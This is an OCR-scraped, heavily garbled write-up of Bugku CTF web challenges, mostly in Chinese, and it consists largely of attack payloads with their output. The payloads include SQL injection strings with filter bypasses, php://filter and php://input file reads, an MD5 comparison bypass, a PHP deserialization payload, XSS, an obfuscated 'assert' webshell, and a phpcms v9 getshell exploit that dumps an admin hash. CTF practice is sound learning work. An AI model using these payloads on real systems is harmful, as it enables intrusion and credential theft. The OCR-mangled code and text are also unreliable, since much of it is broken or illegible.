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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://w

<html ¥mlns="http:// waw.w3.org/1999/xhtml" >
P cheadr..</head>
¥ ¢body id="body" onload="init()"»

<1--flag KEY{Web-2-bugKssNNik1s910@}-->
<script type="text/javascript” src="js/ThreeCanvas.js"»</scripts
«script type="tewt/javascript” src="js/Snow.fs"></script>

P cscript type="text/javascript”r.</script>
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[w ﬂ Elements Console Sources Metwork Timeline Profiles Application Secunity Aud

html xmlns="http:/ /www.w3.org/ 1999/ xhtml"»
P chead>..</head>
¥ <body>
span id="code" class="code" style="background: rgb{11@, 93, 66); color: rgb(252, 66, 17

button id="check" & </button>
P odiv style="text-align:center;">-</div>
<seript sre=" uery-1,12. 3 . min. 5" »</script>
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html xmlns="http://wew.w3.org/1999/xhtml" >
P chead>..</head>
¥ {body >

span id="code" class="code" style="background: rgb{ll@, 93, 66); color: rgb(252, 66, 17

button id="check" A&«
P odiv style="text-align:center;">-</div>
<seript sre= Js-’jaucrv-l.ll.s.nimis' </scripts
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slert(HlgHERE):

alert (“HEEEE")

slert (“FlagIREEE");
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[ Enable Post data || Enable Referrer

Idoctype Himll
<html lang="en">
<head>
‘{meta charset="ghZ312" />
<titlerSOLihf< it
<link rel="stylesheet$href="h
</head>
<body>
{div elass="container”>
<h2>SLEE A < /2>
<div class="alert alert-succesz">

<prEiAkeysE, id=1MstringFER</p>

<fdiwy
<table class="table table-striped™>
y Grrrdridd/rdradr 1 rdr e < dedrkeydtd> <t d>rfdsafdasfdsad/td></tr> <Ste
<idivy
U= juery XHF, ﬁ:ﬁ'ffbno!sfrw min js f_'W?J’/\ -
<seript sre="hitp://apps. bdi flib /2.1, 4
f— EFET Br.lal's‘frqp H-L- ijc'r:pr B
(seript sre="http: /fapps. bdimg. com/1ibs/bootstrap/3. 3. 4fj_sfhuut5trap.min.js“)(fscript)
</body>
</html >

in. jg"»</scripty
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SQL;EN M,

EHiakeyE, id=189string=E&

id 1

key fdsafdasfdsa
id 1

key sql5

+ ACH ZEl
http:/103.238.227.13:10083/7id=1%df union select 1,string from sql3.key %23

[7] Enable Post data [T| Enable Referrer
SQLiENMA,

EifkeyE, id=189string=E2

«
id 1
key fdsafdasidsa
id 1
key 5413320dc2511313ba712eb3M13a116d  fjmmm—
id 1
key aaaaaaaaaa
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Enable Post data Enable Referrer

EUF AR :

/1iTiRsql
§array = array('table’,‘union’,‘and’',"or’,'load_file', 'create’, 'delete’, 'select’, 'update’,'s!

foreach ($array as $value)

‘ if (substr_count($id, Svalue) > @)

' exit("ESEEREY | ' Svalue);
. }
 ixssidti

$id = strip_tags($id);

Squery = "SELECT * FROM temp WHERE id={$id} LIMIT 1%;

EEna=
id 1
»
title sqi3
Flag s

http://103.238.227.13:10087/%id=-1 uni%00cn s&/3600ect 1 hash fro%00m sql3.key3%23

[[] Enable Post data  [T] Enable Referrer

ATFHE—EEAE

//iTifsql
$array = array('table’,’union’,and’, "or", "load_file', 'create’, 'delete’, "select’, 'update’, "sles
foreach ($array as $wvalue)

‘ if (substr_count($id, Svalue) > @)

‘ exit( " ESEERETF | " .svalue);
; }
/I xssidiE

$id = strip_tags($id);

Squery = "SELECT * FROM temp WHERE ide{$id} LIMIT 1";
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Request  Payinad | Stntus |Emor  Tmecut |Lemgth ¥ | Comment

] 200 a O |ms baseing request
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&5 &6 200 o o Tes
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[ mecusst | mespunse |

[ R [ Headers | Hex | HTuL | Render |

zeenter=Stop at panda ! n will pet fap</center=

<center><dive<img are="10.jpe"/f =</ div=</ center=<br=<a
style="display:none” > Ang{dnumy_game_la_n0_papnlark</a=</body>
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<Yphp
include “flagz. php”:
$a = @f_REQUEST[ hello’];
eval [  “var_dump($a);”);
show_sourcel_ FILE ).

D

evalfF e & AT, H4)3d H SO

a load URL  himoy/L20.24.80.1438003 Thello= Uldncude § POSTI¥Y

& wRu
Egecune
[F Enibis Pem data 7] Enable Raferrar
fei f=phgyiRiterfread=corvert baseid-encode/resowce =flagpbe

i1} POSwaHANC gkkZmxhZy A9 dlYWNrZWanCmOKC SMgZWNobyAkZ mh ZzsHC gl Zs¥Wd IV nL WHOZI L2y 0 T0a Py = =

include “flag. php”.

$a = M3 _REQUEST[ hellc" ],
eval [ “var_dump (a0 70,
shom_source (__FILE_ ),

Base64fii i I 7]

JERAF R LR A5

i lopd UAL  h1pd L0 8 BE. 145800 17 e 8o fle (Mg a b |
1 sl
LU

| Erabie Pous data [ Gaable Rederer

amay(5} | [0)== stringl® * strngl20 * Sflag = Hacked": * [2]== string(1&) * ¥ echo 5fag: * [3]=» stringi25) * # flagibug-cti-gg-561 * [#4]== stingiZ) *7=" ]
php

inclade “Flag ple”;

$a = W} _REQIEST[ kelln’],
wvall “vas_dup(fal; %)
whow_sorze [_PILE_|
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flag In the variable ! <7php

error_reporting (0)
include  “flagl.plp”;
highlight filei_file }:
if(isget (§ GET[ arg=" 1001
fargz = $ GET[ arg="]:
if (lpreg_mateh("/ "kl ", fargs) ) {
die("args error!”);

}

eval("wvar_dump ($fargs) "),
}
"
MNULL

(A" F FEEMCTFELEE (A BH 80
fernflagrEAz & . IENULAC R BER/ NS F R A7, eval("var_dump($$args),");TEIH AR E MH . A k4
Rl GLOBALS w] ATl H: 5 A2 &

Lo URL B0 0 S e b S D RS
L waim
= Egeote
Easia Pt dies [ rabis Sativar
flag In the variable ! <frhe

exrer_reparting (0
4 e

ewal [wer_dimp (1 farest,

amay(T) | [GLOBALS | => *RECLIASION® [*_POST == arfayil] | | ["_GET ]=> armay(i] | [angs"]== siring(7] “GLOBALS® ] [* COOKIE] == amayi { § [*_FILES"]== anayil |}
["ZFiowe " |=n S1ring(I8) *flagis2B5 3051 ahBgas6aITB55H 171 28 38" ["args™}=» String(T) "GLOBALS” |
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Chtnl>
<tit1e>BECTF-WEB4</titler
{body>
Cdiv style="display:none; "> </ div>
form actiore” index.php” method="post® »
SERMEBY o>
<br
{gcript >
wvar pl =
"GN TOXG N OIN T ANE0RG TN G2 (K G386 BNGD%E6 D %5 I TOH6 2K 6A%6 0% TA%2 2% 20K THY THRE 1% T2%2 08 61 %3 64N6 L% 6
2B 2257 T Ge X 4 GENG 0N BN X BENG N 2252 1% IANT 48 TONT X 5N0 T 66M2 (K61 %2 0% Th¥E INEE%2 BN 2247 BN TGN ITE
war p2 =
T NE NG R I AN BNETNG AN ICKEENIERI TG NI THILHI INMBEAGI1 N2 2N 3ANI 61 K2 e TANG X SN TN E5R2 M T2NET T
T2 GeM2 1% JINT O TANE L% GENE TN TENG N GENE o TANZ o 5THG 5K TN BN ScME BN GANG BN G T AN 2N T I ONGINZEN2 266K
eval (imescape (pl) + unescape (" ¥IBNIANEING 132" + p2));
<ecripty

Lingurt type=" input” name="flag” 1&="flag" />
{input type="submit” name="submit” value="Subndt” />



Unicod o853 UTF Bl URLELWES Ui finfE BsciNatve TS 5% vasessEFEEERTA

war pl = ‘function checkSubmit({var a=document, petElemens Byl password iR undefined” | =typeof 20066 Td TiER0Y
war pl = 'aafLBcfEelTaT 11411 "= =a value retum| Dtalen("Emar® ra focus(return! D do cument getElementByldMevelQuest” ). onsubmit=checkSubmit’;
evaljunescapeipl] unescapelS4aal’ p2lk

it 67d709b2b54aa2aab48cf6e87a7114f1 #2758
BERAE?

| | Submit |
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RN BEFEhttp://120.24.86.145:8005/post/index.php?file=show.php

RILFileZ 4y 518 2 U4 2 s i
PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://ffilter/read=convert.base64-
encode/resource=index.php

Base64f# Y

A B TR SRR AT

PEhObWr Do IC AP HRp a6z 1Pk T1Z 24 1LWHO T 1w 10BGTHDG0g I kg Do BP3B oc ATKCWY o byl 3T 1o OyrdG Jul
vewh =W g lpZ1ghJFOHRVEL Inl s IV pe 2V atig Tzx hIGhy ZW 9 11 dwaWilk I8 gu o hwh 2 IpbGU o 2hnrdybwaHA 1 Pm
Nz aWllx IG | IPyBubzwnr T T4n0 I0NC gk Im 1 s1 T kX 0dF VF sninls L SddOwlKCWInKHN D onl0cigh InlsTSwalidwlil
SfHND el z HILoJGIpbGUs ICT 0cCIpt Hez dHT pe 3Ry ECEmaWz ILCTpbnE | A2 Ipf Hez dHI pedFE CRmnalz ILC TR THER
LikpewlKCY1 1 T2heIC TP 2 BubyEiCwlKCGL 1 eG 10K CETDG0 ] FQOKCWInT 2 1 B5Ua] G IpbGipOy ANC i8v Inchil zpmb
GFne2WhdWe jbmd £ W pI 1 82 TWNEF D 225z aWhOfQ DEP z4HC jwraHF b DANC z==

=i | | BB BEERER6GEHDT

Base(liRioaiaZinaEE -
echo "Oh nol”; a
exit () ;
1
include (Ffile);
S flag:flag {eduleoni_elif_lacol_si_silt}
T
& html> -
phpcmsV9
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M M O T P e 1Sl RE A e getshell. SR 2RI

Tt B T Szt el R S 120, 29,06 145000 1 F Lo cecx
oa= regd Bt et= 11", § 250]:

e
fnctin close_diniog] |
wen o s o bion el oo, eop At dislog i HLolcest)
I

LA R A RIFISQIEN, FEA IR SIS MR, LA 2 1E )\ exp.

cookies = {}

c requests.get(setpl).cookies:

[+] Get Cookie : {'Scwwm_siteid': 'f4a@LQyVcHVgHEWOVPwqTI3catrAN4dviwdlkgt
[+] Get SQLi Payload : 476fLx1x3wOFTtICPvI2WhYYlwMmLmzBVL56zgHorUB0OD2KdP]
[+] Get SQLi Output : phpcms@localhost:5.5.34-log

[+] Get Table Prefix : vo

[+] Get SQLi Payload : 5d2@8cc6iIPwxBoApmYjZSaRhJ1KX3NAtUdEYFoZyyqg_AdQd3-

[+] Get SQLi Output : phpcms:2c47827baf4a081d62e68334FaT7e9e26:esTPCh
FFinichad imn 1 121
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2c4702Tbaf4a081d62e68334faTe%9e26.esTPCh
md5(md5{$pass).$salt) Vbulletin:lceBB.dz

s /

B, ZE—S®WIR ExnE8 :md5(mdS5($pass).$salt), wS=83E
(FAEEEELSRE—  fELEE— TSR | FEERREE LIS E)

1 1 —EfM% a123456
75 6 L BB SR 7R ST LA foshell , 5ok R B, 3%
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(¥ Enabl Post dats [ Enabike Releiver
ot data. Hendl iffpi Ligh pdefy Ell

RAEIER, B H I3

LU 10 LSO eerchabp s e e
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I
[#] Eratle Font duta ] Enaie Refarrer
Fort di ALperL El

iy [0 = (4] = [2] = 32200570 [3] = 123t [4] = 360wl [5] = abecd b [6] = » abaphys [7] = aedimiis [B] = » aitichs [9) = atictasion (800 = » ¢g0g [11] = » comirrmant [12] =» comi
[13] == darta [14] == dhddlphy [15] =» deskiopphe [18 == detall [17] == exdiphp [1E] == HMM.050 [19] => Magl23php [20] => Ragli0hd [21] => Nagdphe [22] == Maghphp |23] == flaphph
=2 NagEtatong |35] == fonestphp (3] =» foreatl php [I7] == ghookghp 78] == Rahaghp [30] == Rathahahimi (30 == hatataphp [0 =» hataha e (3] == hehephe [33] == Lphp [34] -
w“l]”::—lnﬂtmpﬂa]l:.llﬂlll[ji']::.j;ﬁﬂ:am|m=:mmm:amwﬂ1]=am’i]ﬂa::—mnmm::m[‘ﬂ:IumLﬂ|==plc[ﬂ|:amun_p]
= eguphp ME] =» critunn php [0 = regatg [5) => sath [51] =» sl s [52] = » swaichiphips [53] =» ahellts [S4] = sursk.2hs [35] = et ohp [56] = tag it [S7] = tasplets (56
tes1[95] = bestphg (0] = testiont [61) => bestl php (2] => bestL b [63] =» top 4] => soplc 185] =» Yogiclist |66] => titghp 1T] => wploads (58] => video 18] =» webshellohg [T0] =» xphy
= giphg [12] =» sor.phe (73] = sores [M4] =» ool [75] =» maphp P8 = sijubuapte [T7] == prpphp [E == oyapishp (78] == szepte [B0] == @i b Aray (0] == 1] =» - [H =
LZ3htmi [3) =+ 1Z3png [4] == 360wle [5] =+ abodpng (6] =+ abwph [7] == admin |& == artice (9] =2 amciedist [10] == cphp [11] =+ comment [L2) =+ commenapte [13] == data (14 == &
(450 = » koo [16] = datal [17] => aailphy [LE] => MGG [19] =5 Bagi2d php [20] = Mgl 30t [71] = Nagdshp [32] => Baghphp (23] = » Magh php [24) = » Naghsss php [25] =1
foriesiphp [ =» forbestLphp [27] => gbookphp [28] => hata php [25] => hehahahtmi [30] => hshehaphp [31] => hehahabd [32] => hehephg (23] => Lphp [3] => Indude [33] = indexy
(360 = invenall [37] =x fu [58] == li0 [30] = loginphe (S0 == marmisephp [41] =» news (43 =» nnnneeghp B = agng [4] => ot [45] == pic [95] => ppgainpte [97] == gggee (4] =
O php (45 =3 reg phg [30] = stah php [31] 2> seblpap [52] == search.php (53] 2= shellphs (1] == Sursephp (35 = 50 php [56) == ag.ahp [37] == templets (58] = » bese [59) == test
150 = Bawtat [BL] = WestL.ggs [62] = WsIL181 53] w2 80 [B4] mn T [G5] = topkctien [56] =» (0Lt [67] = upicencs 58] = i [6] = mtrisa s [70] wo s [TL] o ot [72] +
norpig T3] == moriut [T4] == xepoutet [75] == xouphe [TH] =» wiuhusphp [T7] == ywyphe (T3] => zpeplphp [P => zzpho [80] => Sz }Aray ( (0] == (1) => . 7] => 123Nmi [3] =» 12
] = Zlafa (5] = abcd php 6] =» absghp [7] == adkmin @] == anicle (8 =» anicsist [10] == cpie (1] =» commant [12] =» commanghp (3] =» ata [14] =» dadghp [15] =» ko
6] =+ dhetal] [17] =3 ewtping [18] == M php [15 == Ragliapne (0] == Magl3aee [21] == Ragphn [22] == Neghphe [23] => Neghprp [24] == Nagtstepnp [25] == fortetphp [26] ==

@ Load URL  http://120.24.86.145:8008/flag130.bxt
B split URL
@ Execute

Enable Post data Enable Referrer

flag {felege—ctf-2017_04}

WA EL A Eflag
BE 100 Solves o

BINERESfag

http://120.24.86.145:8002/baopo/
{EH | Se7en
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Atinck Eave Colemns

| [ mesuts | Targat | postions | ayuats | optons |

| Fiter. Showing al dems

[Request | Fayicad |Status  (Emor | Temeou | Lengih | Comment |
[asa0 12878 200 O O [ |

o 200 a a =7 basaline reguest
1 10000 200 o o

2 10001 200 o o

3 10062 200 =] o

[ 10003 200 o o 1w

ls 10004 200 0o 0wz

[ mecuest | Raspoase

[ Raw | esders | vex |

Aap{bnglon-baopo-linh}

= ndy>

< litad =

[ | B R

(/93
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http://47.93.190.246:49162/

AR

80

flagf@Th ; SKCTFLoom000000oaoooms]

Key

RS BPRACS

<iphp

iffisset ($ GET[ w1’ 1) &k isset(§ GET['v?' 1) && isset($ GET[ w¥ 1)) 1

fwl = $GET[ w171
w2 = . GET[w27]:
$w3 = §GET[ w371

ififel 1= $u2 &6 mdS(fw1) == mdA{Fw2)) |

if(lztremp ($w3, $flagl) {

echo $flag;

I FHPHP md5()iws il 5 stremp () s i

@ 47.93.190.2456:49162/7v1=2406107088&v2 = QNKCDZO&v3[=1

SUBMIT

SFT  HSES-HERLSN  FEXE , BT F.

LTI | BUREIISHETHE5EE
EHETR  EEPEITFSR TR AR,
B4, IPHITEBETR VT SRELEEES , RS AREEHNNE ..

G 7"

WREEED. B, WEE— i,
TRORBSRSHTISE | BEEREOOAATRTR  F-RRALC

"HEREGET T EEREE
ECEHPEERT. . o v o0 "

PHPRItR L RIFANIES

SKCTF(Php_1s_tH3_B35t_L4NgUag3}

"BAT T ERERET
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w Y% HHESQUIEA
FEES

-1" union select 1,23 48

1Rk

3. -1"union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='"skctf_flag'
LIMIT 0,1

75 BL: -1"union select 1,column_name, 3,4 from information_schema.columns where
TABLE_SCHEMA='"skctf_flag' and table_name="ldg' LIMIT 0,1#

Flag: -1"union select 1,skctf_flag,3,4 from fldg#

Web3

=E 130 Solves

Webb
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EEEw L
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Targen gt st s vmctman [ ]| 2

Flag base64fi#tl 5 it base64 1) 71 1EfIY o RHE T Rl & Z A B 5POSTId %, R A
M. Pythonfifi 4.

lusr/bin/env python
Icoding=utf-8
author = 'zhengjim’

import requests
import base64

url ='http://120.24.86.145:8002/web6/"
r =requests.session()

headers = r.get(url).headers
key = base64.b64decode(base64.b64decode(headers[flagT).split(:")[1])
data={'margin".key}
print r.post(url=url,data=data).content
KET{1114d482£cd377078belBa}

HIFDLF, BT
cookies#k ¥ ? ?
;B 133 Solves
cookiesENGR ? ?
100

http://120.24.86.145:8002/web11/

EEETL ¢ KEYooooomx)
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http://120.24.86.145:8002/web6/

AR URL

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V/5cy50eHQ=

a2V5cy50eHQ=fi#fH keys.txt fit LA & # piibase64 )5 [findex.php. LineZ 174k
PAFUFACRY

BEJEAL S, B, #icookie margin=margin #& 5 tkeys.phpBl Af

GET faeete] 1) e php? e Sl enaiue=a TV 5oy Swn H= HITFS L1 L] HITF/ 1.1 200 OF

Hinat: 19024 06, | 450002 P Server nginx

Priegy-Consec i leepealie Date: Tiie, 06-Jitn 2017 13-27:32 GNT
Caelis-Contro: ims-age=i Camtent-Type: tex linid

Upyrade Inzerirs-Ranaztz: 1 Comnartion: kusp-aliva

Ueer-Agent Mozllle,/ 3.0 Windowa T G L; WOWGH AppleWelbEin S37.30 (KETHL. lire Geeliol Keegrflme: tlussn G
Clirowss 57,0, 2007, 133 Sainri 537,30 Comteni-lengtl: 30

Acpape: testf Litind applicatsn sl Hud & pdieation fsud g =09, iuags, wep,* * 9 =0.0

Accepe-Encodmg: geip. debate, il =Pplip fkey= KETicey_lieyal: 7=
Acraps-Lazgmngs: 2h-CH zhoge0.0
Crclile: wArgm=iargin

XSS

FE 144 Solves

XSS
100

http://103.238.227.13:10089/

FlagtE T Flagonoooosoonooo0addonot

Key SUBMIT

“lank rel="stylesheet” href="httpy//apps bding. com'libs/bootstrap/3. 3. d/cas/bootstrop. cas™>
/head>
Cbady>
<div clazs="cortainer”?
¢h2EsSE A MR
‘div class="alert alert-success >
prls WEA—HESHEE, BOFlgE(
pr2s EfiBEalert Ckey ) s _key S EINEE R
i divy
div 1d="5" 2 divr
div>
1= ey« T TEboot strap. nin §2 ZWIIA-—
<script sro="Ittn://apos, biing, con’libs/ imuery'2. 1, 4" iquery. nin, iz >/ soript>
<1-— @R Boststrap ﬁu Javas-:nm S-E[‘-F —3
<scr_l|;lt sro="http am gt rapy

g L B = DD O~ D

B LRI = £ A 0B ] &N LR

<zcriptl
war 2="";  document. getElenerdById 2’ ). dreeeHTNL = 5
<fecripty

A= \
<himl>

(== NN N


http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

itiE<> f\u003cscriptiu003ealert(key)\u003c/scriptiu003e m] 42t

< din>

C1== Qo T« BT boot ot rap, min 3 ZWELA

{ocript sre=") H i i i i i "l meript s

1-— WY Boctstrep S0 JawmSeript W —>

dprript sres" WD apee. bling. con'libe oot etea’d. 3 4 18 boot #t rap, win jg7 0 senipt >

scripty
ar 5=" ullGescript wbl3ealert (" Flag: 1TE084 325000850 a5 ddet co 3 aod8" ) \ullde/scriptiullde”;  decument. getElementByld(" s ). nrecHTL = s;

FRoTipt
¥
L

never give up
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never give up
100
http://120.24.86.145:8006/test/hello.php
1E#& © Gl
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RIS 1p.html U515 1p.html)5 & 8L T —H WORDS fiitfih. 45 thbase64f#fy . fEurlfiihis

GET et el plip®icds 1 HTTE/ 1L HTTE 1L 200 OF
D05

:
Unmp-Agrasr: Bhssil Viry s T 5 1; WG| Ao Wb 157 35 [KHTIL, Tl Ghmind
Colupeasm 57,0 B07, 130 Salar i 53735

Acrept: el Ll s ppdiceten, abtad snad appdiceten el =08 gk n=0 4
Beotarer: hetped fetl braghn b dp A

Rawar never mavar s np i

Acrept-Encodig:
Arvept-Langeags: sl
Cookla: FHPBESSIDT




GET [heaty Lpinad HITRYLL
Mase: 320,28 0614233906

et
‘Dnkie: PHPSED S0me b dowt it mgefirphed Incka bl

P10 0K

.

P LAcadeLa T

By 3017 L537:4504T
Comuas i kespr-alive

e Wnds

B o Faim b Do nes, D 5 T3 Tl AT o, Dl oo A PR B
PR R PR AR SR |- Ry ST WP | 0 | BTV LT WA T LI LT
[FTe MO M gl ko 385 L M s e Lo oo D
b T 5y B e 29 e APV 20 ) AT 3 030 3 M Ry 21
R B IR LT o Ly L3 R L L 35 L AR M RSV LLITV BT3P
by ML P DA Ly P T T M RIR O LT TV T T Ly 19y L7 U A Wi T 403
e 0 e 1 RS A8l . 1 L T TR FTC, T BT S0 W 21 b

wmmnm: d‘l'J'TISJTIL'TJ IHJJ'TEBa!JY].I 3 gllijHKh]'THEJ'DIEJTIﬁn‘FhaSU]J[;Bp cyUy[;Ell{ i
Bua¥N1TT TweGxhdsWmb3T+T T EeT TIyTTTwTWEk T TInTTI02WGLHOQ1MIGT T IwT WSk TT Twe 3RybG VT TI4TTIO
TiUy0SUzR TULN; BhemQL M 3B L cnVia STOCTy M ExN STy 16z U] zdHT1 M g LM RAT TIDMCUwQzEL N 3l 1 Ml M1M
IzMTEOTT LT TIST TIwWELT T Dwe3Wa c3Ryd TIAT TIOVLUpQ z AL MM T TTET T L T THENC U S TS 1030 1 Tl Sl
ORT 1K penlT1MG g 1M TnliGuy YTHAL R4 dCUs M Uy0 SU2Q 1w S U IRC QWY = c2UIMEELNOL INEELND L wen 1udC
T MO MinS Ly T TLwbnVIZX T1M{Bu T I 1e i ThMGdpdn TN B Uy M TS Ty NSy NS Tyl T Un) SUIR T
ST SThe) STTzRA TR =

&8 | | B8 | U mmaRuessss
BaseOdmismrasnss

HZ2HIBifX2EN21N2d_GETNODRZT1d% ZTHEDN 29N 0AK TEX 1A% 00header W 28N 2TLoc at 1ork 34N 20hel Lo. php%
FidhID1% TR 20K BN 0AK 09 exi t K2 BNZ X IBROARTDROARZ] 1AW 0K 24 _GETHEEN2 Tid% 2 THEDMIBROAR 2D 63
[ 2d_GETHEEX2T a2 THEDRIBR0AK2 A 1% 30% 24_CETXEBS 2TH%2 TREDSIER0A1f % 2B sty ipo sk BN 228 2TR 2T,
H2TH2 %2 0K0AMTBROAR0 S echok 208 2 Tro¥2 Orod 20ncd 2 (o2 Inok 20mo8 2 (nok2 TRIER0 A%0Or etur ik 2083
BX0AR TINOARZddat 2R 208 DM 20211 1 e_get_contert s 28% 24 aW2CR2 T r%2 TRZ25W JEN DAL TR2 68 2ddat ak TDE
AN 22bugk 201 K208 20n1 cel20p Lat of o rm¥ 21 X228 20 and® 206 24 1 BN IDN3D0% 20 and® 20t r 1enk28H24

m293‘335!20m-d121]er331$2$22]l %22, g&strﬁZﬁiEﬂbﬁQCﬂéxlﬁﬂﬁm@l lld’!QMBﬂZDﬁn&HD&u

Base64iRBiRA
$data = Dfile_get_contentsiba )
INSdata=="bugku i & nice plateforrnd” and $id==0 and strien($b)=5 and eregil" 111" substri$b, 0 1)," 11147 and substri$o, 0 11 =4)
{
requine[“f2laig "
| t

else

ELAEVT IR RIAT CHY BN %2 Bl Bek 1 -0 -)

GET fres1y 141203y ro1 HITP/ 1.1 : HITF/ 1.1 200 OK

Heat: 120.24.06.145:0006 Bai : npias

Frecor-Connection: kewp-alive Dimte: T, 06 Jnp 2017 13:53:43 OMT
Cache-Control: was-age=0 Comtent-Type: tent/ plain
Upgrade-lmpeenre-Reqneatec L Content-Lengihc 22

Uaer-Ageny: Mozilla ! 5.0 Windogs WT 4.1 WOWGA] ApplaWeli i/ 53736 (KHTHL, lite Gackol Lasr-Modified: Mon, LS May 2007 13:50:30 GMT
Clreauaf57.0.2007.133 Salnr/537.36 Cannactien: leep-alive

Arcept: test! It applicatios Sl sl appEication Ssnd =00 usgewebp,® =00 Keep-Alive: tinsm=Gi

Beferer: hietp:f et bmglon cow /e liallenges ETag: “54 190 230 1467
Avcept-Encoding gzip, defare, sich Accept-Ranges: lyten
Actepl-Langnage: -CN 2 =0.8

Censliye: PHPSESSID sl bl wnndaim p Seljtpa Lacdn fhilpd LapitHis_i8_THa_MLall

N Ay

gl Llogd URL  http:/f120.24,86.145:8006/test/hello. php?id=.8b=%0012345&a=php://input

% spliturL
1Y) Execute |

Enable Post data || Enable Referrer
Post data bugku is a nice plateform!

flag{tHis_iS_THe_fLaG}



welcome to bugkuctf

welcome to bugkuctf
100
http://120.24.86.145:8006/test1

{E& : pupil

SUBMIT

B
vou are not the mmber of bugloa |

{1

fuser = §_GET["txt"];
$fi1le = §_GET["fi1le”];
$pass = § GET["password’]:

if(isset (fuser) &8 (file_get_cortents ($user, £ )=="welcome to the bugkuctf™) )|
"|+||| "]."1 1” ||1T|.'.:I.I "ll] a
include (§file); //hint. php

telss{
echo “you are not admin | 7,

1
I

txt= %11 File_get_contents() I Fi php://input k&85 file finclude() /44

s logil b

i wew
Syecite
¥ Ensitle Foodatn [ Erably Referrer
Foat dlatn S
helg friend!
PO b HAg L ADKTC AR Cm Ms Y0 21 2o W7 Ly b G oL nBa CAgDO0 g Cage HVIBGITR Renatnd Crog D el AgoHWRERIG 21 bbb Ol FITdGapd] phmoo KNsglADKI CAGIC Ag

B Hhint.php fi#hS J5 -




7 flag. php, ét%T;E/TT?Aﬂag ?%@deex php

& Logd URL  beip//120.24,85, 1458008 testl/ Mot = phps/finput Bfle=phps il resd = cc basetd-ercode/resource=flag phplpassward =
_1 Split UAL
Exwcite
+#| Enable Post data Enable Referrer
Post data welcarme te the buglustf
hello friend!
TRl ETER (FTlagH)

RILIENVLACfile A Ret&flag

E X BARE K hint.phpZs A A~ toString()fyi& k%, 7T LAk iEpassword 17511k . 28 )5 [ 7 %11k i flag.php ¢
iz

ss Flag{//flag.php

function __ _tostring(){
(isset($this->file)){
echo file nnh_‘an:eﬁt5($this file):

$a al.
$a->file="flag.php";
print_r(serialize($a));

>

0:4:"Flag":1:{s:4:"file";s:8:"flag.php"; } e
[Finished in ©.1s1
w Llogd URL  hiepo/120.04.86.145:8006 ke stl / Moet = phpefinputBefile =hirt phpdpas sword =0ndi*Flag i [s:d: file” 58 Alag.php]
% splieURL
¥ Execute
# Emable Post data Erable Reberner

Past data welcome o the buglubtf



hells friend!<br> «fphp >
A/ Flag (php_is the best langusgel

Axbrrgood
- \
Suser = £ G867 txr T,
Ifile = § GET{Fiie");
Spass = 368 password T,
1F{iszet (fuser) & (e geot_comtents(Juser, 5" )==="kelcame to the bughucte™)) [
echo “hello adwin!chrs”;
inciude (Ffilel; Avhint. pho
Jeisef
echo “pou are mot sdmin fO7
i

login1

il =] 77 Solves

loginl
100

http://47.93.190.246:49163/
flagf&Th : SKCTFDooooomoamx Koo
hint:SQLETFIRTS
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PESER w2 M —admin a K-S
ARG AT DL B admin®5hg, 5 & ARIE],

SKCTFEEERFR

SKCTF{4Dm1n_HaV3_GreAt_pOw3R}

RPE:

admin

B

)T

oA 15 Solves

FE—aiE
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http://120.24.86.145:8010/
BEEAR— I E—ais
<?php $poc="a#s#s#edr#t"; Spoc_l=explode("#"$poc);

$poc_2=%poc_1[0).%5poc_1[1].8poc_1[2).%poc_1[3].5poc_1[4].%poc_1[5];
$poc_2(5_GET['s']) 2=
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Fi7n %5l indexphp st /2shell 172 HHH]H
a Logd URL  Fenge 1000 400 JAS00 Drvedea 0 78 vl _ oV el g (4.
i saum

[] Eaable Foai ciain 7] Exabls Refarrer

array(s) | (== string{1] *." [1]== stringl2} *.." [Z]=» string{5] “c.php” [3]== string|13] “fI098i7Tg tat" [4)== string¥) “index.php” |5]== sting(3) “shellphp” |

& Lload URL  http://120.24.86.145:8010/f1098i7g.t]
B split URL

r Execute

Enable Post data Enable Referrer
BUGKEU {bugku_web_009801_a}

HRhGeId

e 151 Solves

120
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http://120.24.86.145:8002/web7/
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RAEIEARS GET —~unname FIPOST —> passwd {E A AeAH4E shalEiAH5E , $25 %4 . Shal()¥ik [Enull &2
-

@l Llead URL  hitps/y120.24.86.145%:8002/web T Tuname]] = altid =margin

4 selituRL
v Egeoute
¥ Enalle Post data [ Enable Referrer
Post data passwd(]=an
Tphp

highlight_filel flag. php’J;
$.0ET['id' ] = urldecode(§_GET['id 1),

§flag = ' flag enrsernsnennnnnnzl’
if (isset(§_GET[ unams"]) and isset(§_POST[ passwd’ 1))
if (§_CET["uname’] == 3$_POST[ passwd ])

print “passwd can not be uname.”

else if (shal(§_GET[ weme’ 1) === shal (§_POST[ passed 1)&(§_GET[ id 1==" mpargin’ )}
die("Flag: ".3flag);

else

print "sarry!’

]
%> Flag: flag{HACK_45hhs_213sDD)

Web8

i) =} 147 Solves

Web8
120

tat? 777

http:/120.24.86.145:8002/web8/
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RIS

<?php

extract (§_GET) ;
if  {lempty ($ac))
i

$f = trimifile get cortents ($fn));
if (fac == ¥fJ

{

echo “<prThiz iz flagz:” ." $flagpx";
1

elze

{

echo  “<preorrylfpr”

1

I

"



extract 7T LUK $_GETHARIEH N R, BUARIRA MR, MNEE AR,

File_get_contents() I H php://input&eit .
g Load URL  http://120.24.86.145:8002/webB/?ac=aalfn=phpy//input

% splitURL
' Execute
Enable Post data | | Enable Referrer
Post data aa
{Iphp

extract (§_GET) ;

if (lempty($ac))

{

§f = trim(file_get_contents($fn));

if (Jac === 3£

{

echo “<p>Thiz is flag:” .7 §flagd/p>";
}

else

{

echo  “<prsorrv!<{/p>";
}

|

D

This is flag: flag{3cfb7a90fc0de31}

S EN?
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— IR VLRCEN ], [punct:]/& VT BC AT AR s 75 5
g Llogd URL  hitpy/f120.24.86.145:8002 fweb 10/index.phplid =keyaakeyasaaakey/afaakeya.
3 splitusL
Y Execute

| Enable Post data || Enable Referrer
<Iphp
highlight_file(” 2.php" ),

$hey="EET [ 1"
$IM= pres_match("/key, *key. (4, THoew: W0 ( *key) [a—2][lipunct 111417, trim(§_GET["1d"1), $match),

ifl $TE O
dieC key is: . $key),
]

7 key is: KEY{0x0SIOPh550afc)
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TBhiEZEREadmin
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FET1404, (HAEIEMA04TUHA—FE, #ATA KM, T2 T Frobots.txt &I T resusl.phpff.

